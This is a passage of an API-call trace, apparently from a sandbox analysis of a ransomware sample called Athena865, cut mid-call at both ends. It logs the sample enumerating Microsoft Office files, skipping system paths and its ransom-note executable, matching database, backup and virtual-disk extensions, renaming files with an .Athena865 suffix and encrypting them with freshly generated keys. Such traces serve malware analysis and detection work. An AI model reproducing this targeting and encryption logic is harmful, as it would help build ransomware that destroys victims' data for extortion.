[0149.621] lstrcmpiW (lpString1="WZCNFLCT.CHM", lpString2=".dll") returned 1 [0149.621] lstrlenW (lpString=".lnk") returned 4 [0149.621] lstrcmpiW (lpString1="WZCNFLCT.CHM", lpString2=".lnk") returned 1 [0149.621] lstrlenW (lpString=".ini") returned 4 [0149.621] lstrcmpiW (lpString1="WZCNFLCT.CHM", lpString2=".ini") returned 1 [0149.621] lstrlenW (lpString=".sys") returned 4 [0149.621] lstrcmpiW (lpString1="WZCNFLCT.CHM", lpString2=".sys") returned 1 [0149.621] lstrlenW (lpString="WZCNFLCT.CHM") returned 12 [0149.621] lstrlenW (lpString="bak") returned 3 [0149.621] lstrcmpiW (lpString1="CHM", lpString2="bak") returned 1 [0149.621] lstrlenW (lpString="ba_") returned 3 [0149.621] lstrcmpiW (lpString1="CHM", lpString2="ba_") returned 1 [0149.621] lstrlenW (lpString="dbb") returned 3 [0149.621] lstrcmpiW (lpString1="CHM", lpString2="dbb") returned -1 [0149.621] lstrlenW (lpString="vmdk") returned 4 [0149.621] lstrcmpiW (lpString1=".CHM", lpString2="vmdk") returned -1 [0149.621] lstrlenW (lpString="rar") returned 3 [0149.621] lstrcmpiW (lpString1="CHM", lpString2="rar") returned -1 [0149.621] lstrlenW (lpString="zip") returned 3 [0149.621] lstrcmpiW (lpString1="CHM", lpString2="zip") returned -1 [0149.621] lstrlenW (lpString="tgz") returned 3 [0149.621] lstrcmpiW (lpString1="CHM", lpString2="tgz") returned -1 [0149.622] lstrlenW (lpString="vbox") returned 4 [0149.622] lstrcmpiW (lpString1=".CHM", lpString2="vbox") returned -1 [0149.622] lstrlenW (lpString="vdi") returned 3 [0149.622] lstrcmpiW (lpString1="CHM", lpString2="vdi") returned -1 [0149.622] lstrlenW (lpString="vhd") returned 3 [0149.622] lstrcmpiW (lpString1="CHM", lpString2="vhd") returned -1 [0149.622] lstrlenW (lpString="vhdx") returned 4 [0149.622] lstrcmpiW (lpString1=".CHM", lpString2="vhdx") returned -1 [0149.622] lstrlenW (lpString="avhd") returned 4 [0149.622] lstrcmpiW (lpString1=".CHM", lpString2="avhd") returned -1 [0149.622] lstrlenW (lpString="db") returned 2 [0149.622] lstrcmpiW (lpString1="HM", lpString2="db") returned 1 [0149.622] lstrlenW (lpString="db2") returned 3 [0149.622] lstrcmpiW (lpString1="CHM", lpString2="db2") returned -1 [0149.622] lstrlenW (lpString="db3") returned 3 [0149.622] lstrcmpiW (lpString1="CHM", lpString2="db3") returned -1 [0149.622] lstrlenW (lpString="dbf") returned 3 [0149.622] lstrcmpiW (lpString1="CHM", lpString2="dbf") returned -1 [0149.622] lstrlenW (lpString="mdf") returned 3 [0149.622] lstrcmpiW (lpString1="CHM", lpString2="mdf") returned -1 [0149.622] lstrlenW (lpString="mdb") returned 3 [0149.622] lstrcmpiW (lpString1="CHM", lpString2="mdb") returned -1 [0149.622] lstrlenW (lpString="sql") returned 3 [0149.622] lstrcmpiW (lpString1="CHM", lpString2="sql") returned -1 [0149.622] lstrlenW (lpString="sqlite") returned 6 [0149.622] lstrcmpiW (lpString1="CT.CHM", lpString2="sqlite") returned -1 [0149.622] lstrlenW (lpString="sqlite3") returned 7 [0149.622] lstrcmpiW (lpString1="LCT.CHM", lpString2="sqlite3") returned -1 [0149.622] lstrlenW (lpString="sqlitedb") returned 8 [0149.622] lstrcmpiW (lpString1="FLCT.CHM", lpString2="sqlitedb") returned -1 [0149.623] lstrlenW (lpString="xml") returned 3 [0149.623] lstrcmpiW (lpString1="CHM", lpString2="xml") returned -1 [0149.623] lstrlenW (lpString="$er") returned 3 [0149.623] lstrcmpiW (lpString1="CHM", lpString2="$er") returned 1 [0149.623] lstrlenW (lpString="4dd") returned 3 [0149.623] lstrcmpiW (lpString1="CHM", lpString2="4dd") returned 1 [0149.623] lstrlenW (lpString="4dl") returned 3 [0149.623] lstrcmpiW (lpString1="CHM", lpString2="4dl") returned 1 [0149.623] lstrlenW (lpString="^^^") returned 3 [0149.623] lstrcmpiW (lpString1="CHM", lpString2="^^^") returned 1 [0149.623] lstrlenW (lpString="abs") returned 3 [0149.623] lstrcmpiW (lpString1="CHM", lpString2="abs") returned 1 [0149.623] lstrlenW (lpString="abx") returned 3 [0149.623] lstrcmpiW (lpString1="CHM", lpString2="abx") returned 1 [0149.623] lstrlenW (lpString="accdb") returned 5 [0149.623] lstrcmpiW (lpString1="T.CHM", lpString2="accdb") returned 1 [0149.623] lstrlenW (lpString="accdc") returned 5 [0149.623] lstrcmpiW (lpString1="T.CHM", lpString2="accdc") returned 1 [0149.623] lstrlenW (lpString="accde") returned 5 [0149.623] lstrcmpiW (lpString1="T.CHM", lpString2="accde") returned 1 [0149.623] lstrlenW (lpString="accdr") returned 5 [0149.623] lstrcmpiW (lpString1="T.CHM", lpString2="accdr") returned 1 [0149.623] lstrlenW (lpString="accdt") returned 5 [0149.623] lstrcmpiW (lpString1="T.CHM", lpString2="accdt") returned 1 [0149.623] lstrlenW (lpString="accdw") returned 5 [0149.623] lstrcmpiW (lpString1="T.CHM", lpString2="accdw") returned 1 [0149.623] lstrlenW (lpString="accft") returned 5 [0149.623] lstrcmpiW (lpString1="T.CHM", lpString2="accft") returned 1 [0149.623] lstrlenW (lpString="adb") returned 3 [0149.623] lstrcmpiW (lpString1="CHM", lpString2="adb") returned 1 [0149.624] lstrlenW (lpString="adb") returned 3 [0149.624] lstrcmpiW (lpString1="CHM", lpString2="adb") returned 1 [0149.624] lstrlenW (lpString="ade") returned 3 [0149.624] lstrcmpiW (lpString1="CHM", lpString2="ade") returned 1 [0149.624] lstrlenW (lpString="adf") returned 3 [0149.624] lstrcmpiW (lpString1="CHM", lpString2="adf") returned 1 [0149.624] lstrlenW (lpString="adn") returned 3 [0149.624] lstrcmpiW (lpString1="CHM", lpString2="adn") returned 1 [0149.624] lstrlenW (lpString="adp") returned 3 [0149.624] lstrcmpiW (lpString1="CHM", lpString2="adp") returned 1 [0149.624] lstrlenW (lpString="alf") returned 3 [0149.624] lstrcmpiW (lpString1="CHM", lpString2="alf") returned 1 [0149.624] lstrlenW (lpString="ask") returned 3 [0149.624] lstrcmpiW (lpString1="CHM", lpString2="ask") returned 1 [0149.624] lstrlenW (lpString="btr") returned 3 [0149.624] lstrcmpiW (lpString1="CHM", lpString2="btr") returned 1 [0149.624] lstrlenW (lpString="cat") returned 3 [0149.624] lstrcmpiW (lpString1="CHM", lpString2="cat") returned 1 [0149.624] lstrlenW (lpString="cdb") returned 3 [0149.624] lstrcmpiW (lpString1="CHM", lpString2="cdb") returned 1 [0149.624] lstrlenW (lpString="ckp") returned 3 [0149.624] lstrcmpiW (lpString1="CHM", lpString2="ckp") returned -1 [0149.624] lstrlenW (lpString="cma") returned 3 [0149.624] lstrcmpiW (lpString1="CHM", lpString2="cma") returned -1 [0149.624] lstrlenW (lpString="cpd") returned 3 [0149.624] lstrcmpiW (lpString1="CHM", lpString2="cpd") returned -1 [0149.624] lstrlenW (lpString="dacpac") returned 6 [0149.624] lstrcmpiW (lpString1="CT.CHM", lpString2="dacpac") returned -1 [0149.624] lstrlenW (lpString="dad") returned 3 [0149.624] lstrcmpiW (lpString1="CHM", lpString2="dad") returned -1 [0149.625] lstrlenW (lpString="dadiagrams") returned 10 [0149.625] lstrcmpiW (lpString1="CNFLCT.CHM", lpString2="dadiagrams") returned -1 [0149.625] lstrlenW (lpString="daschema") returned 8 [0149.625] lstrcmpiW (lpString1="FLCT.CHM", lpString2="daschema") returned 1 [0149.625] lstrlenW (lpString="db-journal") returned 10 [0149.625] lstrcmpiW (lpString1="CNFLCT.CHM", lpString2="db-journal") returned -1 [0149.625] lstrlenW (lpString="db-shm") returned 6 [0149.625] lstrcmpiW (lpString1="CT.CHM", lpString2="db-shm") returned -1 [0149.625] lstrlenW (lpString="db-wal") returned 6 [0149.625] lstrcmpiW (lpString1="CT.CHM", lpString2="db-wal") returned -1 [0149.625] lstrlenW (lpString="dbc") returned 3 [0149.625] lstrcmpiW (lpString1="CHM", lpString2="dbc") returned -1 [0149.625] lstrlenW (lpString="dbs") returned 3 [0149.625] lstrcmpiW (lpString1="CHM", lpString2="dbs") returned -1 [0149.625] lstrlenW (lpString="dbt") returned 3 [0149.625] lstrcmpiW (lpString1="CHM", lpString2="dbt") returned -1 [0149.625] lstrlenW (lpString="dbv") returned 3 [0149.625] lstrcmpiW (lpString1="CHM", lpString2="dbv") returned -1 [0149.625] lstrlenW (lpString="dbx") returned 3 [0149.625] lstrcmpiW (lpString1="CHM", lpString2="dbx") returned -1 [0149.625] lstrlenW (lpString="dcb") returned 3 [0149.625] lstrcmpiW (lpString1="CHM", lpString2="dcb") returned -1 [0149.625] lstrcmpiW (lpString1="CHM", lpString2="dct") returned -1 [0149.625] lstrcmpiW (lpString1="CHM", lpString2="dcx") returned -1 [0149.625] lstrcmpiW (lpString1="CHM", lpString2="ddl") returned -1 [0149.625] lstrcmpiW (lpString1=".CHM", lpString2="dlis") returned -1 [0149.626] lstrcmpiW (lpString1="CHM", lpString2="dp1") returned -1 [0149.626] lstrcmpiW (lpString1="CHM", lpString2="dqy") returned -1 [0149.626] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WZCNFLCT.CHM.Athena865") returned 70 [0149.626] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WZCNFLCT.CHM" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wzcnflct.chm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WZCNFLCT.CHM.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wzcnflct.chm.athena865"), dwFlags=0x1) returned 1 [0149.627] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WZCNFLCT.CHM.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wzcnflct.chm.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0149.628] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=13528) returned 1 [0149.628] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0149.628] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0149.628] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0149.628] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0149.629] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0149.629] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0149.629] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x37e0, lpName=0x0) returned 0x17c [0149.632] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x37e0) returned 0x100000 [0149.634] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0149.634] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0149.634] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0149.634] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540fa0 [0149.634] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540fa0 | out: hHeap=0x4f0000) returned 1 [0149.634] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0149.635] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0149.635] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0149.635] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0149.635] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534d20 [0149.635] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0149.635] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d20 | out: hHeap=0x4f0000) returned 1 [0149.635] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0149.635] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0149.635] CloseHandle (hObject=0x17c) returned 1 [0149.635] CloseHandle (hObject=0x154) returned 1 [0149.635] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0149.635] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0149.635] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0149.636] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb117c800, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x52203420, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb117c800, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0xcd90, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="XFUNC.VSL", cAlternateFileName="")) returned 1 [0149.636] lstrcmpiW (lpString1="XFUNC.VSL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0149.636] lstrcmpiW (lpString1="XFUNC.VSL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0149.636] lstrcmpiW (lpString1="XFUNC.VSL", lpString2=".") returned 1 [0149.636] lstrcmpiW (lpString1="XFUNC.VSL", lpString2="..") returned 1 [0149.636] lstrcmpiW (lpString1="XFUNC.VSL", lpString2="windows") returned 1 [0149.636] lstrcmpiW (lpString1="XFUNC.VSL", lpString2="bootmgr") returned 1 [0149.636] lstrcmpiW (lpString1="XFUNC.VSL", lpString2="temp") returned 1 [0149.636] lstrcmpiW (lpString1="XFUNC.VSL", lpString2="pagefile.sys") returned 1 [0149.636] lstrcmpiW (lpString1="XFUNC.VSL", lpString2="boot") returned 1 [0149.636] lstrcmpiW (lpString1="XFUNC.VSL", lpString2="ids.txt") returned 1 [0149.636] lstrcmpiW (lpString1="XFUNC.VSL", lpString2="ntuser.dat") returned 1 [0149.636] lstrcmpiW (lpString1="XFUNC.VSL", lpString2="perflogs") returned 1 [0149.636] lstrcmpiW (lpString1="XFUNC.VSL", lpString2="MSBuild") returned 1 [0149.636] lstrlenW (lpString="XFUNC.VSL") returned 9 [0149.636] lstrcpyW (in: lpString1=0x241e8a8, lpString2="XFUNC.VSL" | out: lpString1="XFUNC.VSL") returned="XFUNC.VSL" [0149.636] lstrlenW (lpString="XFUNC.VSL") returned 9 [0149.636] lstrlenW (lpString="Athena865") returned 9 [0149.636] lstrlenW (lpString=".dll") returned 4 [0149.636] lstrcmpiW (lpString1="XFUNC.VSL", lpString2=".dll") returned 1 [0149.636] lstrlenW (lpString=".lnk") returned 4 [0149.636] lstrcmpiW (lpString1="XFUNC.VSL", lpString2=".lnk") returned 1 [0149.636] lstrlenW (lpString=".ini") returned 4 [0149.636] lstrcmpiW (lpString1="XFUNC.VSL", lpString2=".ini") returned 1 [0149.636] lstrlenW (lpString=".sys") returned 4 [0149.636] lstrcmpiW (lpString1="XFUNC.VSL", lpString2=".sys") returned 1 [0149.637] lstrlenW (lpString="XFUNC.VSL") returned 9 [0149.637] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL.Athena865") returned 67 [0149.637] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xfunc.vsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xfunc.vsl.athena865"), dwFlags=0x1) returned 1 [0149.641] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xfunc.vsl.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0149.641] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=52624) returned 1 [0149.641] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0149.641] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0149.641] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0149.641] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0149.642] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0149.642] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0149.642] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd090, lpName=0x0) returned 0x17c [0149.644] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd090) returned 0x100000 [0149.659] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0149.660] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0149.660] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0149.660] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540fa0 [0149.660] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540fa0 | out: hHeap=0x4f0000) returned 1 [0149.660] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0149.660] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0149.660] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0149.660] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0149.660] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534f48 [0149.660] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0149.660] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534f48 | out: hHeap=0x4f0000) returned 1 [0149.660] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0149.660] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0149.661] CloseHandle (hObject=0x17c) returned 1 [0149.661] CloseHandle (hObject=0x154) returned 1 [0149.661] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0149.661] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0149.661] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0149.662] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x618b1900, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0xef0f07b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x618b1900, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x3283, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Xlate_Complete.xsn", cAlternateFileName="XLATE_~1.XSN")) returned 1 [0149.662] lstrcmpiW (lpString1="Xlate_Complete.xsn", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0149.662] lstrcmpiW (lpString1="Xlate_Complete.xsn", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0149.662] lstrcmpiW (lpString1="Xlate_Complete.xsn", lpString2=".") returned 1 [0149.662] lstrcmpiW (lpString1="Xlate_Complete.xsn", lpString2="..") returned 1 [0149.662] lstrcmpiW (lpString1="Xlate_Complete.xsn", lpString2="windows") returned 1 [0149.662] lstrcmpiW (lpString1="Xlate_Complete.xsn", lpString2="bootmgr") returned 1 [0149.662] lstrcmpiW (lpString1="Xlate_Complete.xsn", lpString2="temp") returned 1 [0149.662] lstrcmpiW (lpString1="Xlate_Complete.xsn", lpString2="pagefile.sys") returned 1 [0149.662] lstrcmpiW (lpString1="Xlate_Complete.xsn", lpString2="boot") returned 1 [0149.662] lstrcmpiW (lpString1="Xlate_Complete.xsn", lpString2="ids.txt") returned 1 [0149.662] lstrcmpiW (lpString1="Xlate_Complete.xsn", lpString2="ntuser.dat") returned 1 [0149.662] lstrcmpiW (lpString1="Xlate_Complete.xsn", lpString2="perflogs") returned 1 [0149.662] lstrcmpiW (lpString1="Xlate_Complete.xsn", lpString2="MSBuild") returned 1 [0149.662] lstrlenW (lpString="Xlate_Complete.xsn") returned 18 [0149.662] lstrcpyW (in: lpString1=0x241e8a8, lpString2="Xlate_Complete.xsn" | out: lpString1="Xlate_Complete.xsn") returned="Xlate_Complete.xsn" [0149.662] lstrlenW (lpString="Xlate_Complete.xsn") returned 18 [0149.662] lstrlenW (lpString="Athena865") returned 9 [0149.662] lstrcmpiW (lpString1="plete.xsn", lpString2="Athena865") returned 1 [0149.662] lstrlenW (lpString=".dll") returned 4 [0149.662] lstrcmpiW (lpString1="Xlate_Complete.xsn", lpString2=".dll") returned 1 [0149.662] lstrlenW (lpString=".lnk") returned 4 [0149.662] lstrcmpiW (lpString1="Xlate_Complete.xsn", lpString2=".lnk") returned 1 [0149.662] lstrlenW (lpString=".ini") returned 4 [0149.662] lstrcmpiW (lpString1="Xlate_Complete.xsn", lpString2=".ini") returned 1 [0149.662] lstrlenW (lpString=".sys") returned 4 [0149.662] lstrcmpiW (lpString1="Xlate_Complete.xsn", lpString2=".sys") returned 1 [0149.663] lstrlenW (lpString="Xlate_Complete.xsn") returned 18 [0149.663] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Complete.xsn.Athena865") returned 76 [0149.663] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Complete.xsn" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlate_complete.xsn"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Complete.xsn.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlate_complete.xsn.athena865"), dwFlags=0x1) returned 1 [0149.665] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Complete.xsn.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlate_complete.xsn.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0149.665] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=12931) returned 1 [0149.665] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0149.665] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0149.665] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0149.665] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0149.666] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0149.666] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0149.666] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3590, lpName=0x0) returned 0x17c [0149.667] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3590) returned 0x100000 [0149.671] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0149.672] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0149.672] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0149.672] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540fa0 [0149.672] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540fa0 | out: hHeap=0x4f0000) returned 1 [0149.672] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0149.672] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0149.672] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0149.672] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0149.673] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534d20 [0149.673] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0149.673] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d20 | out: hHeap=0x4f0000) returned 1 [0149.673] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0149.673] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0149.673] CloseHandle (hObject=0x17c) returned 1 [0149.673] CloseHandle (hObject=0x154) returned 1 [0149.673] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0149.673] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0149.673] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0149.674] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62bc4600, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0xef0f07b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x62bc4600, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x2d6b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Xlate_Init.xsn", cAlternateFileName="XLATE_~2.XSN")) returned 1 [0149.674] lstrcmpiW (lpString1="Xlate_Init.xsn", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0149.674] lstrcmpiW (lpString1="Xlate_Init.xsn", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0149.674] lstrcmpiW (lpString1="Xlate_Init.xsn", lpString2=".") returned 1 [0149.674] lstrcmpiW (lpString1="Xlate_Init.xsn", lpString2="..") returned 1 [0149.674] lstrcmpiW (lpString1="Xlate_Init.xsn", lpString2="windows") returned 1 [0149.674] lstrcmpiW (lpString1="Xlate_Init.xsn", lpString2="bootmgr") returned 